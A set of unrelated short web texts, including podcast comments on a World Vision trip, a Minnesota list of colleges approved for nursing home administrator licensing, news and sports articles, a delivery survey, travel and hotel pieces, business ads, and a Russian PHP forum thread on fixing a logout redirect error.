Would love to join the World Vision trip. I have sponsored a child there for 7+ years and do medical missions I Ghana Wes Africa annually. Would love to see World Vision in action since we have been apart of the organization for years!
Danny Sleswick says:
When you mentioned that you were recording this in 2017 I was thinking I missed my chance to join a trip to Kilimanjaro with yourself and world vision. Happy to see this podcast wasn't uploaded that long ago as it sounds like an adventure I'd love to be part of.
I'm also interested in the Kilimanjaro trip!
Christopher Wissman says:
I'm really interested in the trip.
Hey Ben
You asked during the show if you could eat squirrels. When is was a kid in Pennsylvania we would shoot squirrels and I made squirrel pot pie from my Grandmothers recipe.
Chrishon Moon says:
I'm very interested in the volunteer trip and hiking Mt. Kilimanjaro? Please let me know the details
Brian Klein says:
One question I have about all of this. Are we just imposing what we think they need for economic development? You say they are subsistence farmers. How often is it that they cannot subsist in the way they are living? I completely support helping them with farming practices and getting them to restore forests ala Alan Savory, who has also done a lot of work in Africa. And also support educating them on how to prevent disease, give them clean water, etc. But for us to go in there and say to them: "Hey you can live with a lot more money!!" seems very Western, and perhaps not something they really need?
It reminds me of a story I heard… I think via Tim Ferris, but don't remember. I'm pretty sure it's made up, but it fits the point I am trying to make. There's a Harvard businessman who takes a trip to Mexico. He goes on a fishing expedition with a local fisherman, and finds that the guy is really good at fishing. He says, "You know, you could build this into a business, and make a lot of money. Let me show you how." The Harvard businessman goes on to explain how through a lot of hard work and smart marketing he could eventually amass enough money to retire without worrying about anything. The fisherman asks him what he would do in retirement after all that work. The businessman responds: "Well, fish, I suppose?" The fisherman responds: "That's what I do now every day of my life, and I love it."
Tyler Michael Buitenwerf says:
I would be interested in an Africa trip
I am interested in the Africa trip!!!!!
I'm totally interested in the Africa trip. What a great experience! Keep me posted!!
Would be interested!!!
Teemu says:
Africa, here we come!
Definitely interested in the Africa trip!
Interested in the Africa trip:)
Dave Pascoe says:
Ben, were you aware that there's a Team World Vision? It's a team of marathoners and triathletes who run (and bike and swim) to raise money to build wells to provide clean water to people in Africa.
More than 1,600 children under age 5 die every day from diarrhea caused by unsafe water — that's more than AIDS and malaria combined. Clean water, basic sanitation, and hygiene education are some of the most effective ways to prevent child disease and death.
World Vision is one of the largest providers of clean water in the developing world, reaching a new person with clean water every 30 seconds. Water continues to flow after we leave because communities have ownership of the water points and can maintain and repair them.
I can't tell you how excited I was as a long time fan of yours, to see that you are partnering up with World Vision too! Would love it if there was a way to introduce you to our team of athletes for inspiration!
We just had a group return from Africa a few weeks ago. It would be awesome if we could get you to join us on one of our next trips!
That'd be awesome Dave! Can you email details to [email protected]? thanks!
David Willer says:
Hey Ben. I'd be interested in the Africa trip- keep me posted!
Hunter Hickman says:
I'd be interested in the Africa trip!
Hey Ben – the trip to Africa sounds amazing. Keep me posted please!
Yeah, it sounds incredible; I'm interested to hear the details.


text:
Board of Examiners for Nursing Home Administrators
BENHA Rules- 6400
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Option A New Graduates
Option B Applicant with Experience
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Minnesota Accredited Colleges
The Minnesota Board requires the following approved academic programs to maintain a high standard in the initial education and training of the executive administrator for long term care supports and services. Even though the current credential is that of a licensed nursing home administrator, the approved curriculum does not focus solely on the skilled nursing facility but knowledge, skills, and tasks to create person-centered environments for all Minnesota citizens, with a concentration of older adults services, regardless of their preferred residency and the services offered. Applicants need to carefully consider either a NAB accredited or a Minnesota approved program in meeting this higher entry-level education requirement for the licensed nursing home administrator/executive administrator.
Note: Specific course numbers are subject to change and should be verified with the Program Director at the school or with the BENHA office staff. The majority of courses offered by each institution are available online or in blended environments.
Bethel University
Bethel University, The Senior Care leadership and Administration Certificate/Practicum is a faith-based, eight-course program that considers the whole person – individually, professionally, organizationally, emotionally and spiritually. The courses are 100% online and have been designed to meet the board's requirements for preparation for licensure. In addition, students can complete these requirements as part of a business management degree in the College of Adult and Professional Studies. Enrollment is available every six weeks and coursework can be completed within a year with additional practicum hours required. Scholarships are available.
Contact:. Nikki Weber Daniels, MA, Associate Professor and Program Director for Senior Care Leadership & Administration Certificate, Bethel University, St. Paul, MN
Phone: 651-635-8094 E-MAIL: n-daniels@bethel.edu
Concordia Moorhead
Concordia College, Moorhead, offers a traditional four-year program leading to a bachelors degree in business with a special sequence in long-term care administration. While the program lends itself best to the full-time student, interested persons can make special arrangements to take only some of the required courses to supplement a previous degree. This program is accredited by the National Association of Boards for Long Term Care Administrators (NAB) and is seeking approval as an approved academic program for the Health Service Executive (HSE).
Contact: Daniel V.Anderson, Ph.D., Concordia College, Long Term Care Administration Program, 901 8th St S, Moorhead, MN 56562.
Phone: 218-299-3950 | Fax: 218-299-4277 | Email: danderso@cord.edu
Minnesota State University, Mankato, offers a traditional four-year program leading to a bachelors or masters degree in a variety of fields depending upon the student's emphasis. Persons already possessing a degree can also register for any of the required courses. Most courses may be taken at the graduate level and the school offers a masters program in gerontology. Most of the courses from MSU Mankato are available online.
Contact: Aaron Hoy, Ph.D., Acting Director of Aging Studies Program, Assistant Professor, Dept. of Sociology and Corrections, Minnesota State University, 113D Armstrong Hall, Mankato, MN 56001.
Phone: 507-389-1038 E-MAIL: aaron.hoy@mnsu.edu Web: https://sbs.mnsu.edu/agingstudies/
Minnesota State University Moorhead
Minnesota State University, Moorhead, offers a traditional four-year program leading to a bachelor's degree in Health Services Administration with an emphasis in long term care administration. While the program lends itself best to the full-time student, interested persons can make special arrangements to take only some of the required courses to supplement a previous degree.
Contact: Jitendra Singh, DHSC, MHA, Associate Professor & Co-Chair, HSAD Program Director, School of Nursing and Healthcare Leadership, Minnesota State University Moorhead, 213 Lommen Hall, 1104 7th Ave S, Moorhead, MN 56563.
Phone: 218-477-4698 | Email: jitendra.singh@mnstate.edu
St. Cloud State University, St. Cloud, offers courses to meet the board's requirements out of their Political Science Department. The courses may be taken as part of a bachelors degree program or strictly to meet board requirements. Courses may also be taken at the graduate level. The school has a graduate certificate program in gerontology. Most courses are offered on campus and meet several times a week with some courses periodically available for evening enrollment.
Contact: Patricia Bodelson, St. Cloud State University, Department of Political Science, 320 Brown Hall, 720 4th Ave S, St. Cloud, MN 56301-4498.
Phone: 320-308-2035 | Fax: 320-654-5422 | Email:pbodelson@stcloudstate.edu Web site: http://bulletin.stcloudstate.edu/ugb/programs/publ.asp
Saint Mary's University of Minnesota
Saint Mary's University of Minnesota, Minneapolis Campus , Rochester Campus or 100% Online programs, The Master of Arts in Health and Human Services Administration program is intended for both new and more experienced professionals, and delivers practical and theoretical coursework in quality and performance improvement, strategic leadership, finance, policy, health and human services administration and systems, human resources, research, writing and communication, and a thorough overview of aging, illness, and the continuum of care. New perspectives are prepared to successfully lead and advance organizations in the challenging and complex healthcare, long-term care, and human services fields.
Course offerings start six times a year allowing students to begin studies within weeks of acceptance into the program. The program is offered fully online or in a blended (online and face-to-face) format in the Twin Cities or Rochester. The blended format meets in the evenings or occasionally on Saturdays. On-campus courses are evenings and occasional Saturdays.
MAHHSA Website MAHHSA Courses
Program Director: Amy Heinz, OTD, MA, OTR/L, CLCP, Program Director for MA in Health and Human Services Administration; Phone: (612) 238-4549 Email: aheinz@smumn.edu
Practicum Director: Dan Strittmater, MHA; Phone: (507) 381-0273 Email: dstrittm@smumn.edu
Minneapolis Admissions: Daniel Lawrence; Phone: (612) 238-4529 Email: dlawren@smumn.edu
Rochester Admissions: Molly Bigelow; Phone: (507) 457-8608 Email: mbiglow@smumn.edu
University of Minnesota Crookston
University of Minnesota, Crookston, offers a bachelor's degree in health management through a combination of on-campus and distance learning course, with all courses offered online also. Students who already possess a bachelor's degree can enroll in order to complete all or some of the courses to meet licensure requirements. Online learning is available to meet BENHA's requirements for organizational management, managerial accounting, gerontology, health care, and medical needs, nursing facility services, human resources, regulatory management, and performance improvement in healthcare and practicum. Some courses are offered during the summer semester to allow for timely completion. This program is accredited by the National Association of Boards for Long Term Care Administrators (NAB) and is an approved academic program for the Health Service Executive (HSE).
Contact: Vicki Gustafson, MA, RN, Director/Lecturer, Health Management and Applied Health Program, Math, Science and Technology, University of Minnesota, Crookston, 151 Dowell Annex, 2900 University Ave, Crookston, MN 56716.
Phone: 218-281-8371 | Email: vgustafs@crk.umn.edu
University of Minnesota, Twin Cities – Long Term Care Administration, a non-traditional program, specializes in coursework for professionals working in the field designed to meet the board's requirements. Courses are offered at the undergraduate and/or graduate level and either in a hybrid format with 5-7 weeks of online work and 1 all-day in-person seminar day and/or fully online. The courses are not part of a degree program but can be applied as electives to an undergraduate or graduate degree.
Contact: Rajean Moone, Ph.D., LNHA, Faculty Director, Long Term Care Administration Program. College of Continuing Education and Professional Studies, Applied and Professional Studies, 20 Ruttan Hall, 1994 Buford Ave., St. Paul.
Email: moon0060@umn.edu Phone: 651-235-0346 Web: ccaps.umn.edu/LTC
University of South Dakota, Vermillion
University of South Dakota, Vermillion, SD, offers a traditional four-year program leading to a bachelors degree in health care administration with a special sequence in long-term care administration which meets the Minnesota license requirement. While the program lends itself best to the full-time student, the program is developing a Masters Degree in LTC and interested persons should contact the program director to make special arrangements to take only some of the required courses to supplement a previous degree.
Contact: Beacom School of Business,414 East Clark Street, Vermillion, SD 57069
Phone:605-261-8004 | Fax: 605-677-5058
University of Wisconsin Eau Claire
University of Wisconsin, Eau Claire, offers a bachelors degree program with a major in health care administration. The senior year is a 50-week residency at a long-term health care facility with plenty of hands-on experience. This program is accredited by the National Association of Boards for Long Term Care Administrators (NAB) and is an approved academic program for the Health Service Executive (HSE).
Contact: Jennifer Johs-Artisensi, Ph.D., MPH, Professor and Program Director, Health Care Administration, Dept. of Management and Marketing, College of Business, UW-Eau Claire, 226D Schneider Hall, Eau Claire, WI 54702.
Phone: 715-836-3589 | Email: johsarjl@uwec.edu
Web Site: www.uwec.ly/HCAD
NAB Accredited Colleges
Minnesota also accepts completion of long-term care curricula completed at the following educational institutions approved by The National Association of Examiners of Long Term Care Administrators (NAB) as meeting course requirements for Nursing Home Administrator licensure and Health Services Executive Certification. Their web site has contact info: https://www.nabweb.org/nab-accredited-colleges-and-universities
University of Wisconsin—Eau Claire--HSE
Concordia College (Minnesota)--HSE
University of Minnesota-Crookston--HSE
St. Joseph's College (Maine)--NHA
Bowling Green State University (Ohio)--HSE
Eastern Washington University--HSE
Kent State University (Ohio)--NHA
Ohio University--HSE
Shawnee State University (Ohio)--NHA
Southern Adventist University (Tennessee)--NHA
University of Scranton (Pennsylvania)--HSE
Western Kentucky University--HSE
Youngstown State University--HSE
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We care about addicts and their ability to be successful and obtain sobriety. Initiating the process of the detox process and subsequent freedom, in Olivarez, Texas is a big undertaking - the thought of stopping a behavior that is continued for so long might appear to be an arduous process. We provide information on a number of medical detoxes - finding the right detox ensures that you or your loved one is cared for. Finding freedom from substances is less challenging than you may think our website gives those who are addicted as well as their loved ones the ability to search treatment directories, the process permits those struggling with substance use disorder and their loved ones consult upon detoxes in Olivarez, Texas. Our website allows you to examine detoxes in individual cities and states with the information and abundance of detoxes provided to you, you'll surely find the right detox facility for you or a loved one. Contact someone who can help you find detoxes in Olivarez, Texas.
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Approximately all Medical Detoxes in Olivarez, Texas are about a week long, of course, causes can change depending on the individual's health. Attending a Detoxification Center in Olivarez, Texas is a crucial move towards abstinence, the detox process allows you to be in an illicit-drug free setting place of serenity and peace of mind. When someone goes through the detox process they usually receive taper drugs, this process is initiated to help with any withdrawal effects. The staff at the detox you attend in Olivarez, Texas will allow you the best shot at long-term abstinence. The partial hospitalization period (or PHP) of treatment is crucial for individuals to learn new coping skills and adapt a recovery program of abstinence, addiction treatment detoxes can give individuals who have struggled with substance abuse hope and abstinence. Once the residential center deems it appropriate in Olivarez, Texas, addicts and their families can choose the next step- Longer term treatment, halfway houses and sober living facilities all help to prepare an addict for their journey into long term recovery.


APS Pallavi Sharma daughter of MP,Tezpur constituency RP Sharma surrendered before the special court on Friday.
Pallavi was arrested on July 18 as their handwriting did not match with the answer sheets in the Assam Public Service Commission (APSC) examination held in 2016.
It may be mentioned that on August 1, Pallavi got interim bail for 15 days to look after her father who accomplished kidney transplant surgery in NH Rabindranath Tagore International Hospital in Kolkata on July 30.
Again, on August 14, Gauhati High Court extended the interim bail of Pallavi Sharma till August 20.


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Better late than never for Barry Robson as he completes Aberdeen move
THE former Celtic midfielder always dreamed of playing for his local team and has finally made the move at the ripe old age of 34.
Michael Gannon
Robson in action in his brief stay in Vancouver (Image: Darryl Dyck/AP Photo/The Canadian Press)
BARRY ROBSON insists it's better late than never after achieving a lifelong ambition by signing a one-year deal at Aberdeen.
The all-action midfielder always dreamed of playing for his local team and now he's finally getting the chance to pull on a red shirt he's going to savour every second.
The town of Inverurie may not exactly be walking distance to Pittodrie but the famous old ground's shadow stretches further than the city boundaries.
Robson's long career has taken him to Rangers, Inverness, Dundee United, Celtic, Middlesbrough, Vancouver Whitecaps and Sheffield United.
He has clocked up the miles but now Dons boss Derek McInnes has brought him home – and the 34-year-old is going to make the most of it.
Robson said: "There were chances in the past but for whatever reason they never materialised and I ended up in other parts of the world.
"Signing for Aberdeen is something I've always wanted to do. My family have always wanted me to do it as well and I'm privileged to be able to join.
"I'm from this area – I know how big a club this is. It's a club I've wanted to play for and I'm just glad I'm getting the opportunity to do it.
"I'm looking forward to trying to be successful here."
Robson's not coming home to put the feet up. He may be 34 but the Scotland internationalist isn't treating Pittodrie like a retirement home.
He said: "I still have a good few years left. I'll always be fit. The manager and his assistant Tony Docherty are big on fitness and sports science so they will have me in tip-top shape.
"They will have us coming out of the blocks at 100mph and playing the way we want to play.
"I actually enjoy pre-season because you feel yourself getting fitter and the team taking shape.
"I'm at the further end of my career so I'm determined to enjoy everything while I can.
"I still feel I have plenty to offer and I wouldn't have come here otherwise.
"We want to win a trophy. The manager and Tony are very driven and I'm like that myself.
"This is a great club – it always has been – but we want to bring back some glory. It's a long road and it won't be easy but if we put in the hard work we will have a chance."
It wasn't just the pull of the Dons that persuaded Robson to pledge his future to them. The schemer is convinced McInnes and Docherty are two of the best coaches in the business and believes they can bring silverware to the Granite City.
He said: "I played with Derek at Rangers when I was a kid and then at Dundee United. Tony Doc was the youth team manager at the time.
"That was a while ago and Derek has carved out a good managerial career, with Doc a top coach beside him.
"It's a privilege to work with them. They are probably the brightest management prospects in the game.
"They will do a good job. Everyone knows how well they did at St Johnstone and although it didn't quite work out at Bristol City, I don't think that was a managerial thing.
"There were other issues going on but Aberdeen have done the right thing in attracting them here.
"That was a big pull for me too, knowing there would be two really professional guys in charge."
It's even sweeter for Robson to be back home after cutting short his stay in Canada in January.
He signed a three-year deal with Vancouver but returned to the UK with Sheffield United after just 11 months when his family failed to settle.
He said: "My wife and children came to Canada and although we enjoyed it we missed home a little bit too much.
"In Canada it was a completely different culture and I must admit I missed the British game.
"It was something I wanted to try and I'm glad I did it. I learned a lot about how to deal with players from different cultures and nationalities."
There will be a youth culture at Pittodrie next term, with a host of hit kids bursting to get into the team.
And Robson said: "They are the most important players at the club.
"I know how highly the management regard them. They need some help and direction but the manager will bring them up correctly and if I can help in any way then great."
Derek McInnes: Homeboy Barry Robson can become an Aberdeen hero


text:
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Delivery managementTeam managementBusiness strategyRoute planningIndustry newsCustomer stories
Over Half of Americans Depend on Delivery
These days, you can get almost anything delivered to your door. Has the increased popularity of e-commerce changed America's dependence on delivery?
We surveyed over 1,000 Americans to learn more about their current delivery habits and purchases.
3 in 4 people get at least one package a week.
Americans pay an average of $817.32 in shipping and delivery fees each year.
Pet supplies saw the biggest increase in deliveries over the past two years.
55% of respondents said that receiving packages makes them feel happy.
The World at Your Doorstep
The past few years have seen a dramatic increase in delivery. From clothing and food to prescriptions and dog treats, many Americans' dependence on delivery has grown.
But just how dependent on delivery have we become? How often do people get deliveries, and what items do they order the most?
To find out the truth about America's delivery dependence, we analyzed Google search trends and surveyed 1,000 people about their delivery preferences and habits.
Demand for delivery
Between the COVID-19 pandemic, long work hours, and hectic schedules, general life fatigue there are a number of reasons Americans may turn to delivery.
But, how often do they get packages, and how much are they paying for this convenience?
Of the people surveyed, 79% received packages at least once a week.
Nearly a quarter received packages daily, including 33% of Gen Z , 22% of millennials, and 20% of Gen X. Men were much more likely than women to get daily package deliveries.
With all those daily deliveries, Gen Z paid the most in shipping and delivery fees: an average of $901.20 each year.
If that sounds like a lot, it might be because shipping prices have surged in recent months. Despite generally receiving packages less often, millennials only spent an average of $2.00 less each year than Gen Zers.
Rural populations were the most likely to receive packages daily. That makes sense, considering the lack of convenient shopping and product availability in those areas compared to more densely-populated ones.
Many purchases were not impulsive, middle-of-the-night decisions: 22% were in the morning, and another 22% were in the afternoon. But we also found a good number of late-night shoppers who have spent quite a bit on delivery fees.
Even though midnight shoppers only made up 9% of respondents, they spent an average of $848.14 on delivery fees — almost as much as millennial shoppers did.
Key Takeaway: 3 in 4 people get at least one package a week.
What Americans want
Whether shopping during the day or late at night, consumers have many of the same items delivered to their door. But, which items are delivered most often, and which items have seen the highest increase in delivery frequency?
The pandemic and a sharp increase in work-from-home jobs undoubtedly pushed customers to skip the stores and turn to delivery. Likewise, 88% of our respondents said the number of deliveries they received has increased over the past two years.
Many items not commonly shipped before the pandemic saw an uptick in delivery orders, including pet supplies (34% increase), CBD products (33% increase), groceries (20%), and school supplies (16%).
Groceries, clothes, pet supplies, and shoes were the most commonly auto-shipped items, meaning they were set up for automatic purchase and delivery after a specified time period.
Only 14% used auto-ship for medicine or prescriptions, which may be for the best — you must authorize some medications every time before you're billed.
Younger generations might be more comfortable with the occasional surprise package arriving at their door: Gen Z was the most likely to have purchases auto-shipped, while baby boomers were the least likely.
While there was a delivery boom during the height of the pandemic for products in some categories, delivery increases for others happened more recently.
In the past 12 months, deliveries of Christmas flowers increased by 2,000%, and natural dog food deliveries increased by 1,660%. Birth control was also delivered more often (700%), but those deliveries didn't go up as much as the ones for beer (800%).
Key Takeaway: Pet supplies have seen the biggest increase in deliveries over the past two years.
Reward, or remorse?
Buyer satisfaction or remorse can happen instantly when you make a purchase in a store. But when you order online, those feelings are delayed until you get your item.
So how has online shopping affected customers' feelings about their purchases? And why are so many Americans using delivery in the first place?
For most consumers, delivery was all about convenience, with 54% naming it as their top reason for ordering online.
Other common reasons, like being too busy to go out (34%), too tired to go out (30%), occupied with children (22%), and stressed from work (19%) also echoed the convenience of delivery.
Fortunately, most people feel positive to get a delivery, with very few negative emotions reported. Feelings of happiness (55%) and excitement (51%) far outweighed those of regret (11%) and remorse (8%).
Key Takeaway: 55% of respondents said that receiving packages made them feel happy.
Delivery dependence
In the post-pandemic surge of eCommerce, delivery drivers will bring almost anything to your door, and most Americans are taking advantage. With deliveries increasing for everything from pet supplies to prescriptions, consumers are more dependent than ever on delivery services, especially in rural areas.
Even with inflation increasing purchase and shipping prices, the number of deliveries received has remained constant for more than half of our respondents, showing us that consumers place a high value on convenience. While there are still some things people will only buy in stores, it's clear that delivery is a new mainstay in American retail.
The data for this study came from a survey of 1,008 Americans of which 53% were men, and 47% were women. For generational breakdowns, 9% were baby boomers, 35% were Gen X, 54% were millennials, and 11% were Gen Z. Search trends data came from analysis of Google searches using keywordtool.io.
About Circuit for Teams
Circuit for Teams routing software optimizes routes for multiple drivers, keeps customers up-to-date while their items are in transit, and gets proof of delivery once they arrive.
Do you know someone who always has packages on their porch? Feel free to share this article for any noncommercial purposes, and be sure to provide a link back to this page to give the authors their due credit.
Published8 September 2022
Updated21 October 2022
Simple software for optimizing routes with multiple drivers.Try Circuit free for 14 daysTry Circuit free for 14 days
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text:
Engineering Idea
Aleksandre Dumas Cultural Route in Caucasus
Alexandre Dumas Travel in Caucasus - Europeans have been showing interest in the Caucasus region from time immemorial.
Suffice to remember the legendary Golden Fleece and the associated with it voyage of the Greek Argonauts to Colchis; or the legend on Prometheus chained to a mountain cliff in Western Georgia.
Caravan routes connecting the richest countries of the Oriental world used to pass the Caucasus, the most known of them being the so-called "Silk Road".
Georgian metalworkers and various articles made by them have long ago been known and valued in European countries.
The ancient Greek-Roman chronicles contain many historical data on the Caucasus and its ethnos. The Caucasian theme was fundamentally highlighted by Herodotus, Xenophonte, particularly Strabo, and many others. In the 13th century "the wonderful city" Tbilisi used to be visited by the famous Venetian traveler Marco Polo.
During the centuries to come the interest of European travelers, researchers and people of art in the country essentially increased. They were attracted not only by beautiful nature, very rich flora and fauna, but also by the development history of the Caucasian countries and peoples, their unique architectural monuments, and the wonderful diversity of the Caucasian ethnos.
Many French, German, Swiss, Italian, and Russian scholars and researchers used to arrive in Georgia.
150 years ago the Caucasus was visited by the master of French literature, the founder of family dynasty of prose writers monsieur Alexander Dumas-the Father.
In the late 1858, with arrival at the town of Kyzlyaar of Dagestan starts the great French writer's impressive and breadth-taking travel in the Caucasus. It was the hardest period in the region's life. A prolonged and bloody Caucasian war was under way that left a lasting impression on the writer.
From Kyzlyar via Derbent, Dumas goes to "the town of winds" Baku. With great interest sees the writer the local sights: palaces, cult buildings, oil fields, the bazaar, meets with the local community.
From Baku the writer travels to Shemakha and Nukha. Thereafter he arrives in "Georgian paradise" - Tiflis (Tbilisi). Six weeks spent the writer in the capital of Georgia, where he was greatly impressed by its beauty, historical past, the magnificent Sioni Cathedral, caravanserais, hot spring baths, generosity and matchless hospitality of Georgian people.
"I have seen almost all in Tiflis, and nowhere in my life have I worked so productively", states Dumas with satisfaction.
Rather interesting is his characterization of Georgians, "…it is so wonderful, noble, brave, generous, and unifying a nation that it deserves a special study". "The Georgian nation is excellent in the East and I would say throughout the world" – enthusiastically concludes the author.
From Tbilisi, Dumas travels to West Georgia. On his way there, the writer goes through Mtskheta, Gori, Surami, and arrives in Kutaisi. After sightseeing the town, he visits Gelati Monastery and is greatly impressed by the relics protected there: precious icons, unique mosaic portrayal of Our Lady, the iron gate of Derbent.
The last point of the three-month travel of the French writer is the seaside town of Poti, wherefrom, via Batumi and Trabzon, he goes by sea to France. The writer standing on the deck could see the eye-catching sight: the wood-covered lowland of Kolkheti being surrounded by a continuous chain of the Caucasus snow-capped skyscraping mountain peaks. This scenic landscape was crowned by Batumi port in the south.
There, in February 1859, ended the rather emotional and productive travel of the great writer in the Caucasus that was full of impressions and interesting meetings.
Upon return to Paris, Alexandre Dumas, based on the voluminous factual material collected during the travel, published an excellent work under the title "Caucasus", which, although a half-century has passed, is still being read with great interest.
T. Purtskhvanidze
© Copyright 2013 Engineering Idea. All rights reserved.


It's the most wonderful time of the year, and whether that means staying at home and enjoying your loved ones there, or traveling to get a break from the norm, we at Arizona Foothills Magazine all wish you the very merriest of holidays!
However, since we are avid travelers and love to share top travel with you guys, we have rounded up our favorite Stays packages for the holiday season in the hopes that you'll find some time to get out there, and find adventure, relaxation, excitement, or peace wherever your heart desires.
Read on to see our top picks for 2017 resort and hotel packages!
A stay at this 2017 Forbes Four Star Luxury Hotel is sure to make your holidays very merry and bright, thanks a great part to the hotel's Silent Night package.
This package is available December 16 – January 1.
To book Silent Night, visit the hotel's website here and use promo code NIGHT.
Themed stays are growing in popularity, and Kimpton Shorebreak Hotel is jumping on this trend. This holiday season, enjoy a stay at this fab resort that is all things Game of Thrones.
When you book between now and February, you'll receive a special rate that allows you to experience a very "snowy" stay with the Winter is Coming package.
Along with this package, guests will receive a complimentary "Let it John Snow" cocktail and tasty treats — more specifically, Dragon Egg cookies.
Enjoy these experiences at the hotel's newly renovated restaurant, Pacific Hideaway.
John Snow's signature drink at Kimpton Shorebreak is made of Dewars Scotch, Monkey Shoulder Blended Scotch, Giffard Banana, and Coconut Thai Thea, with some shakes of cinnamon and nutmeg to really bring in that holiday flavor.
Served in no ordinary style, this cocktail will be brought to you upon a fake iceberg with fire and skulls.
And don't worry — we didn't forget about the Dragon Egg cookies. You'll find those in sugar cookies in your room upon arrival.
Rates for this package start at $229 night.
To book the Winter is Coming package, visit the hotel's website here and use promo code SP2.
As one of Conde Nast's "Best Luxury Resorts," L'Auberge Del Mar is no stranger to making traveler's stay the ultimate luxurious experience.
And this winter is no exception — in fact, the resort is going even further to create a memorable experience by offering the Rest & Recharge deal.
Sick of the non-stop hectic holiday life? You'll love this escape to relax and refuel. With a fabulous room to enjoy, and the whole L'Auberge Del Mar resort to explore, all your worries will be left far behind.
This package starts at $313/night.
To book the Rest & Recharge package, visit the resort's website here.
Don't feel guilty leaving your pet at home this holiday season. When you stay at The Bristol Hotel, you can bring your furry friend with you to enjoy all the festivities.
This fab hotel is located just steps away from the famous Gaslamp Quarter, so you've got all the holiday cheer you could ever need right at your doorstep, made simple by the hotels Home for the Holidays deal.
Available for stays through December 28.
To book Home for the Holidays, visit the hotel's website here.
Enjoy some of the fun of winter without the cold weather at Kimpton Hotel Palomar Phoenix. Located right next to CitySkate, as a guest at the hotel you'll love feeling festive during a nighttime ice skating session.
And the Stay & Skate deal Kimpton Hotel is offering gives you the perfect opportunity to enjoy a weekend away from reality.
As the largest and most popular real outdoor ice rink in the Valley, CitySkate is a major hub for holiday season fun.
Social hour in the Living Room from 5-6 p.m.
This package is priced starting at $127/night.
To book Stay & Skate, visit the hotel's website here.


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With 25 years' experience in residential real estate, award-winning agent Gabby Morris has the knowledge and drive to ensure your home sells at the right price.
When you sell with Gabby, you can be assured you are dealing with an experienced agent dedicated to giving clients a first-rate professional service and authentic advice, enabling them to make sound financial decisions in the sale and purchase of real estate. Having sold in the Dunedin market for most of her career and recently relocated to Hawke's Bay, Gabby is excited to approach the Napier real estate market with new eyes and a fresh perspective.
Gabby is driven and energetic and with a passion for people, is skilled at building excellent working relationships. She is goal-orientated and proficient at meeting and exceeding established goals in sales, client retention, and marketing. With a love of cycling, swimming, food and wine, art and theatre, Gabby is looking forward to exploring all that the Hawke's Bay region has to offer.
If you want to talk to a first class real estate professional with an expert knowledge of all things property, whether you are a first home buyer, looking to increase your investment portfolio or simply moving on from your current home, give Gabby a call today. She would love to hear from you.
"Good personal service from Gabby Morris at all times"
"Great result, effortless and uncomplicated"
"I have already recommended Gabby Morris to others. She is friendly, warm, down to earth, knowledgeable and thoroughly professional at the same time. Thank you!"
"Thank Gabby for all her assistance from the purchase of a property to her expertise to get well above our expectations at Auction! "Under the hammer" Thanks a mint Gabby"


text: Q: Does Salesforce mobile app doesn't support campaign image banner in IOS? I'm having trouble debugging what went wrong because the campaign banner is showing perfectly on Android but not on iOS. Is this somehow a limitation?


text:
Q: При нажатии на ссылку с logout.php, появляется ошибка "Cannot modify header information..." Мне нужно сделать переадресацию на index.php после отработки logout.php.
Так выглядит logout.php:
require_once('header.php');
unset($_SESSION['user']);
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

В header.php написано следующее:
<? session_start(); ?>
<!DOCTYPE html>

<? if(isset($_SESSION['user'])): ?>

Настройки

Выйти

<? else: ?>

Войти

Регистрация

<? endif; ?>

Как сделать redirect, чтобы не было ошибки "Cannot modify header information - headers already sent by (output started at ...\header.php:4) in ...\logout.php on line 4". Не пойму в чем дело...
Или вот подобная ситуация. login.php: введенные логин и пароль совпадают с данными из базы, присваиваем $_SESSION['user'], выводим сообщение "Успешная авторизация!" и вот после этого надо сделать переадресацию на index.php. Как быть? Благодарю за помощь!

A: Заголовки надо устанавливать ПЕРЕД любым выводом. В вашем случае надо будет убрать header.php (он не имеет смысла, поскольку вы выполняете редирект):
unset($_SESSION['user']);
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

по второму вопросу:
$_SESSION['user']['login_message'] = "Успешная авторизация!";
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

а уже в index.php выводите сообщение, взятое из сессии

A: Сделай
session_start();
unset($_SESSION['user']);
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

Зачем там header.php нужен в логаут вообще?
По второму вопросу:
Если логин и пароль совпадают, то так как говорил коллега выше:
$_SESSION['user']['login_message'] = "Успешная авторизация!";
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

В файле index.php делаем вывод сообщения и сразу его удаляем:
echo $_SESSION['user']['login_message'];
unset($_SESSION['user']['login_message']);

A: Как уже говорилось в другом ответе, заголовки надо устанавливать перед выводом. Если все же нужно сделать редирект после вывода, можно использовать буферизацию. Тут самый простой способ - прописать ob_start() до вывода, и ob_end_flush() после редиректа.
Что-то вроде этого:
ob_start();

require_once('header.php');
unset($_SESSION['user']);
header('Location: http://' . $_SERVER['SERVER_NAME'] . '/index.php');

ob_end_flush();

https://www.php.net/manual/ru/function.ob-start.php
https://www.php.net/manual/ru/function.ob-end-flush.php


An air to air left underside view of an F-16XL aircraft. The aircraft is armed with two wing tip mounted AIM-9 Sidewinder and four fuselage mounted AIM-7 Sparrow missiles along with 12 500-pound bombs.
An air-to-air underside view of an F-15 Eagle aircraft from the 555th Tactical Fighter Training Squadron, 405th Tactical Training Wing, Luke Air Force Base, Arizona, banking to the left. The aircraft is equipped with four AIM-9 Sidewinder missiles on the wing pylons and four fuselage-mounted AIM-7 Sparrow missiles.
A St Barth Commuter plane coming in to land at Princess Juliana International Airport, Sint Maarten. Shot was taken from Maho beach below in Feb 2018.
LONDON, ENGLAND - NOVEMBER 2018: British Airways Airbus A319 jet passing overhead to land at London Heathrow Airport.
Airbus A380 passenger airliner shows its underside and flight control surfaces during a clean pass from right to left.
Underside of a passenger jet on a landing approach to a runway with landing gear in the down position.
Eurofighter Typhoon FRG4 Military Fast Jet Fighter. SCO 9196.
Eurofighter Typhoon FRG4 Military Fast Jet Fighter. SCO 9195.
Airbus A380 in flight with landing gear down.
KLM passenger jet coming into land at Flamingo Airport.
Airbus 400M Atlas transport plane. RAF. Four turboprops. Tactical Airlifter.
The Avro Canada CF-100 Mk 4B interceptor,all weather and night fighter,on display in the Air Space Hangar,IWM Duxford.
Virgin Atlantic Airbus A320 (EI-EZV) landing to Manchester International Airport.


In-Tune Garage Services has been operating for over 30 years. We pride ourselves on offering an excellent range of services at value for money prices to our customers. We carry out servicing and repairs of all makes and models of vehicles. MOTs, Tyres, diagnostics and ECU remapping.
